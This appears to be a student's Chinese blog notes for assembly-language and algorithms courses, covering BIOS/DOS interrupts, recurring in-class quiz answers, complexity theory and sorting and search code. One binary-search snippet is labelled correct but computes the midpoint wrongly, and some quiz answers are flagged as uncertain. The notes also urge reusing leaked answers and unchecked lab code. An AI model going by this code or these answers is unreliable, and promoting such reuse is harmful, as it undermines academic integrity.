子程序调用：程序中预先安排调用。\n优先级的处理： # 80386程序中断 # 看不懂也懒得看了。\nBIOS中断和DOS中断 # 以下是ChatGPT的解释\n1. 定义 # BIOS（Basic Input/Output System） # 固件，存储在主板上的 ROM/EEPROM 芯片中，在计算机开机时运行。 负责执行自检（POST, Power-On Self Test）、初始化硬件、引导操作系统。 提供一组低级别的输入输出服务，如读写磁盘、键盘输入、显示输出、串口通信等。 DOS（Disk Operating System） # 操作系统，存储在硬盘或软盘中，在 BIOS 引导后加载。 负责管理文件系统、进程、设备驱动、命令解释等功能。 典型的 DOS 版本包括 MS-DOS、PC-DOS、FreeDOS 等。 2. 作用 # 系统 主要作用 BIOS 初始化硬件，执行自检（POST），引导操作系统，提供基础 I/O 接口 DOS 管理磁盘文件系统、提供命令行界面、运行应用程序 3. 联系 # 启动过程的衔接 计算机上电后，BIOS 首先执行，完成自检并寻找引导设备（软盘、硬盘、光盘等）。 BIOS 读取 DOS 的引导扇区（Boot Sector），然后加载 DOS。 DOS 依赖 BIOS 来访问低级硬件，如磁盘、键盘、屏幕等。 DOS 依赖 BIOS 进行硬件访问 早期 DOS 不直接控制硬件，而是通过**BIOS 提供的中断（如 INT 13h 读写磁盘，INT 10h 控制显示器）**与硬件交互。 例如，在 DOS 下运行的程序可以通过 INT 21h 调用 DOS 功能，而 INT 10h 直接调用 BIOS 来控制显示器。 BIOS 提供基本的驱动支持 DOS 启动时，可以直接使用 BIOS 的设备驱动程序（如磁盘、键盘）。 但 DOS 也可以加载更高级的驱动程序（如 HIMEM.SYS、CD-ROM 驱动等）来替代 BIOS 功能。 4. 区别 # 特性 BIOS DOS 存储位置 ROM/EEPROM 磁盘（硬盘、软盘） 运行时机 计算机启动时 BIOS 加载后 作用 硬件初始化、系统引导 文件管理、命令执行 是否可修改 固定在 ROM（可升级） 软盘/硬盘上，可修改 硬件访问方式 直接控制硬件 通过 BIOS 或驱动访问硬件 5. 总结 # BIOS 是计算机启动的第一步，它初始化硬件，并将操作系统（如 DOS）加载到内存中。 DOS 是一个基于磁盘的操作系统，在 BIOS 加载后运行，提供文件管理、命令解释等功能。 DOS 依赖 BIOS 进行低级硬件访问，但也可以加载自己的驱动程序绕过 BIOS。 现代操作系统（如 Windows、Linux）已经不再依赖 BIOS，而是直接与硬件交互，但 DOS 仍然常用于嵌入式系统、维修工具等场景。 功能调用 键盘 显示器 打印机\n什么是BIOS # 什么是DOS # DOS系统功能调用 INT 21H AH=1 键盘输入并回显 AH=2 显示字符输出 AH=9 显示字符串输出 AH=0AH 键盘输入到缓冲区 AH=4CH 带返回码终止 二者之间的关系：\nBIOS是直接操作硬件的\n调用方法：\n键盘 # 课内测试 # 理论上很多年课内测试的答案都没有改变过，所以你可以拿来参考，摆脱每节课都必须要去的痛苦，但是时间就要你自己来把控\u0026hellip;\u0026hellip;\n如果你发现你输入的数据错了（这个没办法，证明人家老师反应过来了），或者是我写的答案有错误，可以在评论区立刻指出来\u0026hellip;\u0026hellip;\n号我不知道为什么后面对不上了，自己看看吧\u0026hellip;\u0026hellip;\nch1-1 # 段寄存器:存放了一系列的段的base地址。\nch1-2 # 23451：左边移位直接相加就可以了。\nch1-3 # 寄存器 立即\nch2-1 # [BX + SI]也就是存储器中取得\n**基址变址寻址 **\n默认的就是DS段寄存器\nch2-2 # 段间间接\n7856 3412 （注意前后顺序）\nch2-3 # 上面的两个操作是独立的：\n1232 1236\nch3-1 # 255 255 应该是吧\nch3-2 # AX DX AX\nch3-3 # DF\t字操作 word\u0026mdash;》2 bytes 2\nch4-1 # ZF = 1 CF = 0\n注意标志位即可。\nch4-2 # B C？（和连接有关系么？斟酌一下）\nch4-3 # 0000 0004 0006\nch5-1 # 26 36\nROL：循环向左移动的指令。\nch5-2 # 从最高位开始：11011100\n填写：1 0\nch5-3 # 5678\n1234\nch6-1 # NEAR FAR 很简单的概念\nch6-2 # 寄存器 存储器\nch6-3 # 0403\n0203\nch7-1 # B B\nch7-2 # A D（我有些疑惑，难道不是节省了时间么（但是确实不节省存储空间），不用进行转移和参数的传递，还是说宏展开的时间把这段时间给浪费了？很奇怪，我牺牲了10分，孩子们）\nch7-3 # AX BP\nch7-4 # 不带脑子：SHR SHL\nch8-1 # 第一个空就是说把输入状态端口地址的值输入到AL寄存器里面去 82H\n第二个空是检查最低位是不是1,那么就使用 01H 检测就可以了\n82H 01H\nch8-2 # 外设控制器 协处理器\nch8-3 # 这里也有可能是8-2,看空的个数即可\n响应 + 处理 + 返回\nch8-4 # 这是这张PPT之前举的每十秒钟响铃并且打印的例子：\nB B（主程序只要调用即可）\nch9-1 # \u0026hellip;\u0026hellip;\nch9-2 # *上机实验 # https://github.com/Pine-G/XJTU-CS2020/tree/main/%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80\n这个学长的仓库里有两年的考题以及上机实验的参考代码，合理使用！\n我个人认为这个课的代码没有查重，这个得到时候再看吧。\n","date":"11 May 2025","externalUrl":null,"permalink":"/notes/80x86assembly/","section":"","summary":"\u003ch1 class=\"relative group\"\u003e汇编语言复习 \n    \u003cdiv id=\"%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80%E5%A4%8D%E4%B9%A0\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80%E5%A4%8D%E4%B9%A0\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e​\t1.这是某学校汇编语言的课程内容，简单做一个复习的笔记，如果能帮到校友就更好了\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e​\t2.整体来看感觉内容不多，但是很杂很乱，容易一开始让人很不知所以然，再加上讲课老师感觉逻辑性不算很强，可能让人感觉有点劝退，但是这门课程本身还是相当重要的\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e​\t3.然后就是关于本课程的实验，我的评价就是善用AI，如果你觉得很难写，但是前提是你先要看得懂并且会用MASM工具来调试。\u003c/p\u003e","title":"80X86:Assembly","type":"notes"},{"content":" 算法设计与分析 # 1.课太蠢，简单写一点复习笔记\n2.大量的数学笔记都是我复制下来的，我没有手打这么多公式的耐心，只能感谢那名陌生的同学了,原来的仓库https://github.com/DANNHIROAKI/XJTU-CS-Courses/tree/master,可能这篇文章的阅读体验相对会更好一点，因为数学公式会直接渲染并且我会多余做一些补充和更改，如果原作者看到并且觉得这样不好，您可以直接联系我删除。\n3.代码就会按照原书中来的，利用Java来实现。\n4.https://csdiy.wiki/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E4%B8%8E%E7%AE%97%E6%B3%95/CS170/ 笔者非常后悔在学校老师狂念PPT的时候没有自学这个CS170,如果你还有机会，一定要看一看。\n5.关于本课程你理论上能找到两套往年题目，有参考价值，模拟题目参考价值较少，本课程从选修变成必修之后难度应当有所降低，不管你的老师怎么样，考试之前的复习课一定去听，会透露原题。\n1.算法概述 # 算法的执行次数和时间都有限。程序不一定，因为有可能有while(true)。\n时间复杂性问题 # O omu o theta\n举例子：\nf = O(g)\ng是f的一个上界，f \u0026lt;= g\nomu: \u0026gt;=\no: \u0026lt;\ntheta: = (既是O 又是omu)\nomega: \u0026gt;\nn的阶乘\nStirling’s approximation 是对n !趋于无穷速度的估计，公式如下\n𝑛!=2𝜋𝑛(𝑛𝑒𝑛)(1+Θ(1𝑛))\n可推导：\n𝑛!=𝑜(𝑛𝑛) 𝑛!=𝜔(2𝑛) log⁡(𝑛!)=Θ(𝑛log⁡𝑛)\n课后题证明以及上下界的练习。\n渐进分析的算术运算与证明\n应该不难，想办法凑就可以。\n常用公式：\n•O(f(n))+O(g(n)) = O(max{f(n),g(n)}) ；\n•O(f(n))+O(g(n)) = O(f(n)+g(n)) ；\n•O(f(n))O(g(n)) = O(f(n)*g(n)) ；\n•O(cf(n)) = O(f(n)) ；\n•g(n)= O(f(n)) ⇒ O(f(n))+O(g(n)) = O(f(n))\n证明示例：以第一个公式举例\n•规则O(f(n)) + O(g(n)) = O(max{f(n),g(n)}) 的证明：\n•对于任意f1(n)∈ O(f(n)) ，存在正常数c1和自然数n1，使得对所有n ≥ n1，有f1(n)≤c1f(n) 。\n•类似地，对于任意g1(n)∈ O(g(n)) ，存在正常数c2和自然数n2，使得对所有n ≥ n2，有g1(n) ≤ c2g(n) 。\n•令c3=max{c1, c2}， n3 =max{n1, n2}，h(n)= max{f(n),g(n)} 。\n•则对所有的 n ≥ n3，有\n•f1(n) +g1(n) ≤ c1f(n) + c2g(n)\n≤ c3f(n) + c3g(n)= c3(f(n) + g(n))\n≤ c3×2 max{f(n),g(n)}\n= 2c3h(n)\n则有f1(n) +g1(n)=O(h(n))= O(max{f(n),g(n)})\n即O(f(n))+O(g(n)) = O(max{f(n),g(n)})\n能搞清楚上下界就没问题。\nNP问题 # 应该会考相关的归约的方法。\n概括 # P：可以“快速解决”的问题（即，多项式时间内能求解）。 NP：可以“快速验证答案”的问题。 NPC（NP-Complete，NP 完全）：目前认为“最难的 NP 问题”，一旦能快速解决一个，就能快速解决所有 NP 问题。 NP-hard（NP 困难）：至少跟 NP 中最难的问题一样难，但本身不一定属于 NP。 解释 # 注意这张图的关系： P（Polynomial Time）问题 # 定义：能在“多项式时间”内求出解的问题。 理解方式：你的程序运行时间是 O(n),O(n2),O(n3)O(n), O(n^2), O(n^3)O(n),O(n2),O(n3) 这种（不是指数或阶乘），就属于 P。 例子： 排序（冒泡、快排） 最短路径（Dijkstra） 匹配括号是否合法（栈） NP（Non-deterministic Polynomial Time）问题 # 定义：解可以在多项式时间内被验证的问题。 关键点：你不一定能很快找到解，但一旦别人告诉你答案，你可以很快验证它对不对。 例子： 给一个图，问是否存在一个旅行路径经过所有城市一次？（TSP） 给一个布尔表达式，问是否存在变量组合使其为真？（SAT） NP 完全（NPC, NP-Complete） # 定义：NP 中最难的问题。 满足两个条件： 本身属于 NP。 所有 NP 问题都可以在多项式时间归约到它上。 通俗理解：它是“NP 阶层中的老大哥”。如果有一天你能快速解决一个 NPC 问题，那你就能快速解决所有 NP 问题（即 P=NPP = NPP=NP）。 著名例子： SAT（布尔可满足性问题） TSP（旅行商问题） 3-Coloring（三染色问题） Subset Sum（子集和问题） NP-hard（NP 困难） # 注意：NP难问题不一定是NP问题！\n定义：比 NP 还难的问题（不一定能验证解）。 不一定在 NP 类别中，比如不要求答案验证要快。 一些 NP-hard 问题甚至不可判定（比如停机问题）。 2.递归和分治策略 # 凡治众如治寡，分数是也。 \u0026mdash;-《孙子兵法》\n求解采用自顶向下的计算方式。\n1.最优子结构。2.小问题可以直接解决。3.最后可以小的问题合并成最终答案。4.子问题之间相互独立。\n概念 # hanoi问题：\n设a,b,c是3个塔座。开始时，在塔座a上有一叠共n个圆盘，这些圆盘自下而上，由大到小地叠在一起。各圆盘从小到大编号为1,2,…,n,现要求将塔座a上的这一叠圆盘移到塔座b上，并仍按同样顺序叠置。在移动圆盘时应遵守以下移动规则：\n规则1：每次只能移动1个圆盘；\n规则2：任何时刻都不允许将较大的圆盘压在较小的圆盘之上；\n规则3：在满足移动规则1和2的前提下，可将圆盘移至a,b,c中任一塔座上。\nvoid hanoi(int n, int a, int b, int c) { if (n \u0026gt; 0) { hanoi(n-1, a, c, b);\t//设法将n-1个较小的圆盘依照移动规则从塔座a移至塔座c move(a,b);\t//将塔座a上编号为n的圆盘移到b上 hanoi(n-1, c, b, a);\t//设法将n-1个较小的圆盘依照移动规则从塔座c移至塔座b } } 一般的流程：\nvoid divide-and-conquer(P) { if ( | P | \u0026lt;= n0) adhoc(P); //解决小规模的问题 divide P into smaller subinstances P1,P2,...,Pk；//分解问题 for (i=1,i\u0026lt;=k,i++){ yi=divide-and-conquer(Pi); }\t//递归的解各子问题 return merge(y1,...,yk); //将各子问题的解合并为原问题的解 } 递归的求解 # ​\t一个分治法将规模为n的问题分成k个规模为n／m的子问题去解。设分解阀值n0=1，且adhoc解规模为1的问题耗费1个单位时间。再设将原问题分解为k个子问题以及用merge将k个子问题的解合并为原问题的解需用f(n)个单位时间。\n1.递归树法 # 考虑分解和合并的时间：\n由于该递归表达式分为两项，所以算树的高度时，我们只需要看n/2的分解，由\n𝑛2ℎ=1\n可得递归树的层数为\nℎ=log2⁡𝑛\n分解的时间消耗为\n𝑡1\\len2(1+516+25256+\u0026hellip;+(516)log2⁡𝑛−1=(516)log2⁡𝑛−1516−1\u0026lt;1611𝑛2\n则有\n𝑡1=𝑂(𝑛2)\n叶子节点小于n个，所以合并就是O（n），那么最终就为t1。\n2.主方法 # 令和𝑎≥1和𝑏\u0026gt;1是常数，𝑓(𝑛)是一个函数，𝑇(𝑛)是定义在非负整数上的递归式： 𝑇(𝑛)=𝑎𝑇(𝑛𝑏)+𝑓(𝑛)\nT(n) 有如下渐进界：\n1️⃣ 若对某个常数 ϵ \u0026gt; 0 有𝑓(𝑛)=𝑂(𝑛log𝑏⁡𝑎−𝜖)，则 T ( n ) = Θ (nlogba)\n2️⃣ 若𝑓(𝑛)=Θ(𝑛log𝑏⁡𝑎)，则𝑇(𝑛)=Θ(𝑛log𝑏⁡𝑎lg⁡𝑛)\n3️⃣ 若对某个常数 ϵ \u0026gt; 0 有𝑓(𝑛)=Ω(𝑛log𝑏⁡𝑎+𝜖)，且对某个常数𝑐\u0026lt;1和足够大的n有𝑎𝑓(𝑛/𝑏)≤𝑐𝑓(𝑛)则\nT ( n ) = Θ ( f ( n ) )\n注意点\n在第一种情况中，不是𝑓(𝑛)小于𝑛log𝑏⁡𝑎就够了，而是要多项式意义上的小于，也就是说，𝑓(𝑛)必须渐进小于𝑛log𝑏⁡𝑎，要相差一个因子𝑛𝜖。\n其中𝜖是大于0的常数。\n在第三种情况中，不是𝑓(𝑛)大于𝑛log𝑏⁡𝑎就够了，而是要多项式意义上的大于，而且还要满足\u0026quot;正则\u0026quot;条件𝑎𝑓(𝑛/𝑏)≤𝑐𝑓(𝑛)。遇到的多项式界的函数中，多数都满足这个条件。\n此外，这三种情况并非覆盖了𝑓(𝑛)的所有情况，𝑓(𝑛)可能小于𝑛log𝑏⁡𝑎，但不是多项式意义上的小于，也有可能大于但不是多项式意义上的大于，这时候就不能用主方法来求解，而是需要用递归树。\n举例说明 # 1️⃣ T (n) = 9 T (n/3) + n\n​\t有𝑎=9,𝑏=3,𝑓(𝑛)=𝑛,因此𝑛log𝑏⁡𝑎=𝑛log3⁡9=Θ(𝑛2)，当我们取𝜖=1,有𝑓(𝑛)=𝑂(𝑛log3⁡9−1)，由定理一则有𝑇(𝑛)=Θ(𝑛2)\n2️⃣ T (n) = T (2n/3) + 1\n​\t有𝑎=1,𝑏=3/2,𝑓(𝑛)=1,因此𝑛log𝑏⁡𝑎=𝑛log3/2⁡1=𝑛0=Θ(1)，由于𝑓(𝑛)=Θ(𝑛log𝑏⁡𝑎)=Θ(1)，由定理二则有𝑇(𝑛)=Θ(lg⁡𝑛)\n3️⃣ T (n) = 3 T (n/4) + nlgn\n​\t有𝑎=3,𝑏=4,𝑓(𝑛)=𝑛lg⁡𝑛,因此𝑛log𝑏⁡𝑎=𝑛log4⁡3=𝑂(𝑛0.793)，由于𝑓(𝑛)=Ω(𝑛log4⁡3+𝜖)，其中𝜖≈0.2，因此如果可以证明正则条件成立，则可以使用定理三。当n足够大时，对于𝑐=3/4，（𝑎𝑓(𝑛/𝑏)=3（𝑛/4)lg⁡(𝑛/4)≤(3/4)𝑛lg⁡𝑛=𝑐𝑓(𝑛)，由定理二则有𝑇(𝑛)=Θ(𝑛lg⁡𝑛)\n⚠️主方法不适用于𝑇(𝑛)+2𝑇(𝑛/2)+𝑛lg⁡𝑛\n​\t有𝑎=2,𝑏=2,𝑓(𝑛)=𝑛lg⁡𝑛,因此𝑛log𝑏⁡𝑎=𝑛，𝑓(𝑛)虽然渐进大于n，但是并不是多项式意义上的的大于**(比值要是n的次方)**，对于任意的正常数𝜖，比值𝑓(𝑛)/𝑛log𝑏⁡𝑎=lg⁡𝑛都渐进小于𝑛𝜖，陷入了特殊情况，使用递归树可解决。\n可以这么理解，谁大就由谁来决定，相等的情况就是对数和算出来的式子直接做乘法。\n分治算法具体问题设计 # merge and sort\n1.二分算法 # class Solution { public int search(int[] nums, int target) { int left = 0; int right = nums.length - 1; while(left \u0026lt;= right){ int mid = left + (right - left) / 2; if(nums[mid] \u0026lt; target){ left = mid + 1; }else if(nums[mid] \u0026gt; target){ right = mid - 1; }else{ return mid; } } return -1; } } ​\t每执行一次算法的while循环，待搜索的数组的大小就减少一半。因此，在最坏情况下，while循环被执行了𝑂(log⁡𝑛)次。循环体内运算需要𝑂(1)时间，因此整个算法在最坏情况下的时间复杂性为𝑂(log⁡𝑛)。\n二分代码的纠错，写出bugfree的二分代码，分析七个二分算法的错误。\n下标变化错误，会进入死循环。（1 2 3 5 6 7 这个序列中去找数字4）\nright控制的有问题，当要查找的数据在最右边的时候就找不到了（1 2 3 5 6 7 中找 7）\n和上面是同理的，left + 1 != right 就是 left \u0026lt; right - 1\n下标控制错误，left = middle + 1,当要查找的元素为数组中的最后一个的时候，此时陷入死循环。\nclass Solution { public int search(int[] nums, int target) { int left = 0; int right = nums.length - 1; while(left \u0026lt; right){ int mid = left + (right - left) + 1 / 2; if(nums[mid] \u0026lt; target){ left = mid; }else if(nums[mid] \u0026gt; target){ right = mid - 1; }else{ return mid; } } if(target == nums[left]){ return left; } return -1; } } 第五个是正确的代码，middle控制的向上作取整可以使得left不用等于middle加1,当有多个重复的时候，取的值是最右边的值。\n多了right = mid - 1，这样我们就没办法找到最右边的值了。注意这两个代码都是 left \u0026lt; right 而非相等的。\nright = mid，右边的值到不了左边来，那么当你找的数字为第一个元素的时候就会陷入死循环。\n从判断错误的角度来讲，举极端例子（找最左边或者最右边），或者数组长度只有1的情况都是很好的方法。\n2.大整数乘法 # 处理两个位数很大的数字的乘法：\n用类似于因式分解的方法，把原来的两次乘法改成一次乘法，但是只是多了几次加法而已。\n3.Strassen矩阵乘法 # 这一部分可以看书，把八次乘法转换成了七次的乘法，和上面的大整数乘法是类似的思想。\n4.棋盘覆盖问题 # ​\t在一个2𝑘×2𝑘 个方格组成的棋盘中，恰有一个方格与其它方格不同，称该方格为一特殊方格，且称该棋盘为一特殊棋盘。在棋盘覆盖问题中，要用图示的4种不同形态的L型骨牌覆盖给定的特殊棋盘上除特殊方格以外的所有方格，且任何2个L型骨牌不得重叠覆盖。\n​\t将2𝑘×2𝑘 棋盘分割为4个2𝑘−1×2𝑘−1 子棋盘(a)所示。特殊方格必位于4个较小子棋盘之一中，其余3个子棋盘中无特殊方格。为了将这3个无特殊方格的子棋盘转化为特殊棋盘，可以用一个L型骨牌覆盖这3个较小棋盘的会合处，如 (b)所示，从而将原问题转化为4个较小规模的棋盘覆盖问题。递归地使用这种分割，直至棋盘简化为棋盘1×1。\n​\t解此递归方程可得𝑇(𝑘)=𝑂(4𝑘)，由于覆盖一个2𝑘×2𝑘 棋盘所需要的L型骨牌个数为(4𝑘−1)/3，所以该算法为一个在渐进意义下的最优算法。\n5.合并排序（merge sort） # ​\t基本思想：将待排序元素分成大小大致相同的2个子集合，分别对2个子集合进行排序，最终将排好序的子集合合并成为所要求的排好序的集合。\n最坏时间复杂度：O(nlogn)\t平均时间复杂度：O(nlogn)\t辅助空间：O(n)\n最坏情况下的时间复杂度：\n​\t概念：解此递归方程为𝑇(𝑛)=𝑂(𝑛log⁡𝑛)，由于排序问题的计算时间下界为Ω(𝑛log⁡𝑛)，所以合并排序算法为一个渐进最优算法。\n​\t对于算法MergeSort，可以利用分治法消除其中的递归。可以先将数组a中相邻的元素两两配对，用合并算法将他们排序，构成n/2组长度为2的排好序的子数组段，然后再把它们排成长度为4的排好序的子数组段，如此继续下去，直至整个数组排好序。\npackage Recursion; public class MergeSort { private void sortArray(int[] array) { merge(array, 0, array.length - 1); } private void mergeSort(int[] array, int left, int mid, int right) { int[] temp1 = new int[mid - left + 1]; int[] temp2 = new int[right - mid]; for (int i = 0; i \u0026lt; temp1.length; i++) { temp1[i] = array[left + i]; } for (int i = 0; i \u0026lt; temp2.length; i++) { temp2[i] = array[mid + 1 + i]; } int i = 0, j = 0; int k = left; while (i \u0026lt; temp1.length \u0026amp;\u0026amp; j \u0026lt; temp2.length) { //注意这里保证了排序的稳定性，小于等于就直接放进去 if (temp1[i] \u0026lt;= temp2[j]) { array[k] = temp1[i]; ++i; ++k; }else{ array[k] = temp2[j]; ++j; ++k; } } while (i \u0026lt; temp1.length) { array[k] = temp1[i]; ++i; ++k; } while (j \u0026lt; temp2.length) { array[k] = temp2[j]; ++j; ++k; } } private void merge(int[] array, int left , int right){ if(left \u0026lt; right){ int mid = left + (right - left)/2; merge(array, left, mid); merge(array, mid + 1, right); mergeSort(array, left, mid, right); } } public static void main(String[] args) { int[] array = {9,8,7,6,5,4,3,2,1}; MergeSort mergeSort = new MergeSort(); mergeSort.sortArray(array); for(int index = 0; index \u0026lt; array.length; index++){ System.out.print(array[index] + \u0026#34; \u0026#34;); } } } 6.快速排序（Quick Sort） # ​\t在快速排序中，记录的比较和交换是从两端向中间进行的，关键字较大的记录一次就能交换到后面单元，关键字较小的记录一次就能交换到前面单元，记录每次移动的距离较大，因而总的比较和移动次数较少。\n算法分析如下：\n对于输入的子数组a[p:r]，按照以下三个步骤排序：\n1️⃣ 分解：以a[p]作为基准元素将a[p:r]分解为三段a[p:q-1],a[q],a[q+1:r]，使a[p:q-1]中的任意一个元素小于等于a[q]，a[q+1:r]中任何一个元素大于等于a[q]，下标在划分过程中确定。\n2️⃣ 递归求解：通过递归调用快速排序算法，分别对a[p:q-1]和a[q+1:r]进行排序\n3️⃣ 合并：由于对a[p:q-1]和a[q+1:r]的排序使就地进行的，因此排好序后不需要再执行其他计算。\npackage Recursion; public class QuickSort { public static void main(String[] args) { int[] arr = {15,14,13,12,11,10,9,8,7,6,5,4,3,2,1}; quickSort(arr,0,arr.length-1); for(int a:arr){ System.out.print(a + \u0026#34; \u0026#34;); } } private static void quickSort(int[] arr, int left, int right) { if(left \u0026lt; right){ int partitionIndex = partition(arr, left, right); quickSort(arr, left, partitionIndex-1); quickSort(arr, partitionIndex+1, right); } } private static int partition(int[] arr, int left, int right) { int pivot = arr[left]; while(left \u0026lt; right){ //找到第一个小于pivot的元素 while(left \u0026lt; right \u0026amp;\u0026amp; arr[right] \u0026gt;= pivot){ right--; } //把右边的值移到左边来 arr[left] = arr[right]; //找到第一个大于pivot的元素 while(left \u0026lt; right \u0026amp;\u0026amp; arr[left] \u0026lt;= pivot){ left++; } //把左边的值移到右边来 arr[right] = arr[left]; } //最后进行交换 arr[left] = pivot; return left; } } 这里是取第一个元素作为划分的基准，如果取最后一个元素作为基准而且其是数组中最大的元素，那么会陷入死循环。\n对于输入序列a[p:r] , Partition的计算时间显然为𝑂(𝑟−𝑝−1)。\n​\t快速排序的运行时间与划分是否对称有关,其最坏情况发生在划分过程产生的两个区域分别包含n- 1个元素和1个元素的时候。由于函数Partition的计算时间为𝑂(𝑛),所以如果算法Partition的每一步都出现这种不对称划分,则其计算时间复杂性T(n) 满足 解此递归方程可得𝑇(𝑛)=𝑂(𝑛2)。\n​\t在最好情况下,每次划分所取的基准都恰好为中值,即每次划分都产生两个大小为n/2的区域，此时，Partition的计算时间T(n)满足 ​\t可以证明,快速排序算法在平均情况下的时间复杂性也是 T ( n ) = O ( n log ⁡ n ) ,这在基于比较的排序算法类中算是快速的,快速排序也因此而得名。\n​\t随机选取值而不是每次都选取第一个就可以解决这个问题。\n7.线性时间选择 # ⭐ 要能根据代码分析时间复杂度\n​\t给定线性序集中n个元素和一个整数k，1≤k≤n，要求找出这n个元素中第k小的元素，只需要调用如下方法：RandomizedSelect(a,0,n-1,k)\ntemplate\u0026lt;class Type\u0026gt; Type RandomizedSelect(Type a[],int p, int r, int k){ if(p==r) return a[p]; int i = RandomizePartition(a,p,r); j=i-p+1; if(k\u0026lt;=j) return RandomizedSelect(a,p,i,k); else return RandomizedSelect(a,i+1,r,k-j); } ​\t在算法RandomizedSelect中执行RandomizedPartition后;数组a[p:r]被划分成两个子数组a[p:i]和a[i+1:r],使得中每个元素都不大于a[i+1:r]中每个元素。接着算法计算子数组a[p:i]中元素个数j。如果k≤j,则a[p:r]中第k小元素落在子数组a[p:i]中如果k\u0026gt; j,则要找的第k小元素落在子数组a[i+1:r]中。由于此时已知道子数组a[p:i]中元素均小于要找的第k小元素,因此，要找的a[p:r]中第k小元素是a[i+ 1:r]中的第k- j 小元素。\n​\t在最坏情况下,算法RandomizedSelect需要𝑂(𝑛2)计算时间。例如在找最小元素时，总是在最大元素处划分。尽管如此,该算法的平均性能很好。在平均情况下，算法RandomizedSelect可以在𝑂(𝑛)时间内解决⭐\n​\t如果能在线性时间内找到一个划分基准，使得按这个基准所划分出的2个子数组的长度都至少为原数组长度的ε倍(0\u0026lt;ε\u0026lt;1是某个正常数)，那么就可以在最坏情况下用O(n)时间完成选择任务。例如，若ε=9/10，算法递归调用所产生的子数组的长度至少缩短1/10。所以，在最坏情况下，算法所需的计算时间T(n)满足递归式T(n)≤T(9n/10)+O(n) 。由此可得T(n)=O(n)。\n寻找划分标准的算法如下：\n分组，寻找中位数的中位数，这样的分割位置相对来说比较公平。\n​\t1️⃣ 将n个输入元素划分成⌈𝑛/5⌉个组，每组5个元素，只可能有一个组不是5个元素。用任意一种排序算法，将每组中的元素排好序，并取出每组的中位数，共⌈𝑛/5⌉个。\n​\t2️⃣ 递归调用Select来找出这⌈𝑛/5⌉个元素的中位数。如果⌈𝑛/5⌉是偶数，就找它的2个中位数中较大的一个。以这个元素作为划分基准。\n​\t设所有元素互不相同。在这种情况下，找出的基准x至少比3(n-5)/10个元素大，因为在每一组中有2个元素小于本组的中位数，而n/5个中位数中又有(n/5-1)/2=(n-5)/10个小于基准x。同理，基准x也至少比3(n-5)/10个元素小。而当n≥75时，3(n-5)/10≥n/4所以按此基准划分所得的2个子数组的长度都至少缩短1/4。\ntemplate\u0026lt;class Type\u0026gt; Type Select(Type a[], int p, int r, int k) { if (r-p\u0026lt;75) { Sort(Type a[], int p, int r); //用某个简单排序算法对数组a[p:r]排序; return a[p+k-1]; }; for ( int i = 0; i\u0026lt;=(r-p-4)/5; i++ ) //将a[p+5*i]至a[p+5*i+4]的第3小元素与a[p+i]交换位置; Type x = Select(a, p, p+(r-p-4)/5, (r-p-4)/10); //找中位数的中位数，r-p-4即上面所说的n-5 int i=Partition(a,p,r, x), j=i-p+1; if (k\u0026lt;=j) return Select(a,p,i,k); else return Select(a,i+1,r,k-j); } ​\t上述算法将每一组的大小定为5，并选取75作为是否作递归调用的分界点。这2点保证了T(n)的递归式中2个自变量之和n/5+3n/4=19n/20=εn，0\u0026lt;ε\u0026lt;1。这是使T(n)=O(n)的关键之处。当然，除了5和75之外，还有其他选择\n时间复杂度分析为： 解得：𝑇(𝑛)=𝑂(𝑛)，要会用递归树求解\n看不懂就记住时间复杂度为O（n），考试前再看一下原理，记忆一下数字规律也可以。\n8.最近点对问题 # 会写伪代码，典型的简答题。\n给定平面上n个点，找其中的一对点，使得在n个点组成的所有点对中，该点对的距离最小。\n​\t为了使问题易于理解和分析，先来考虑一维的情形。此时，S中的n个点退化为x轴上的n个实数 x1,x2,…,xn。最接近点对即为这n个实数中相差最小的2个实数。\n​\t假设我们用x轴上某个点m将S划分为2个子集S1和S2 ，基于平衡子问题的思想，用S中各点坐标的中位数来作分割点。递归地在S1和S2上找出其最接近点对{p1,p2}和{q1,q2}，并设d=min{|p1-p2|,|q1-q2|}，S中的最接近点对或者是{p1,p2}，或者是{q1,q2}，或者是某个{p3,q3}，其中p3∈S1且q3∈S2。如果S的最接近点对是{p3,q3}，即|p3-q3|\u0026lt;d，则p3和q3两者与m的距离不超过d，即p3∈(m-d,m]，q3∈(m,m+d]。由于在S1中，每个长度为d的半闭区间至多包含一个点（否则必有两点距离小于d），并且m是S1和S2的分割点，因此(m-d,m]中至多包含S中的一个点。由图可以看出，如果(m-d,m]中有S中的点，则此点就是S1中最大点，同理S2这么找就会找到最小的点。因此，我们用线性时间就能找到区间(m-d,m]和(m,m+d]中所有点，即p3和q3。从而我们用线性时间就可以将S1的解和S2的解合并成为S的解。\n以下是二维的情况：\n​\t选取一垂直线l:x=m来作为分割直线。其中m为S中各点x坐标的中位数。由此将S分割为S1和S2。递归地在S1和S2上找出其最小距离d1和d2，并设d=min{d1,d2}，S中的最接近点对或者是d，或者是某个{p,q}，其中p∈P1且q∈P2。\n考虑P1中任意一点p，它若与P2中的点q构成最接近点对的候选者，则必有distance(p，q)＜d。满足这个条件的P2中的点一定落在一个d×2d的矩形R中由d的意义可知，P2中任何2个S中的点的距离都不小于d。由此可以推出矩形R中最多只有6个S中的点。因此，在分治法的合并步骤中最多只需要检查6×n/2=3n个候选者\n⭐ 证明 